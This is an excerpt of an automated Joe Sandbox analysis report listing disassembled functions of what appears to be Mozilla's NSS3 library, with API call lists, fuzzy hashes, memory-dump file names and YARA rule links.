Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(921290DD,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C68EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68EE49

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C68EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C68EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C68EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C68EEB3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: e078dbc3a9a7fec5d4538e76caa6fecef3a4990a4c6f1ee1541df9b13bf24d4b
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 112157BAA002146BEB108F58DC85EAB77A8EF06708F040564FE049B302E771DC15C7FA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4
%s at line %d of [%.10s], xrefs: 6C63AFD3
misuse, xrefs: 6C63AFCE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

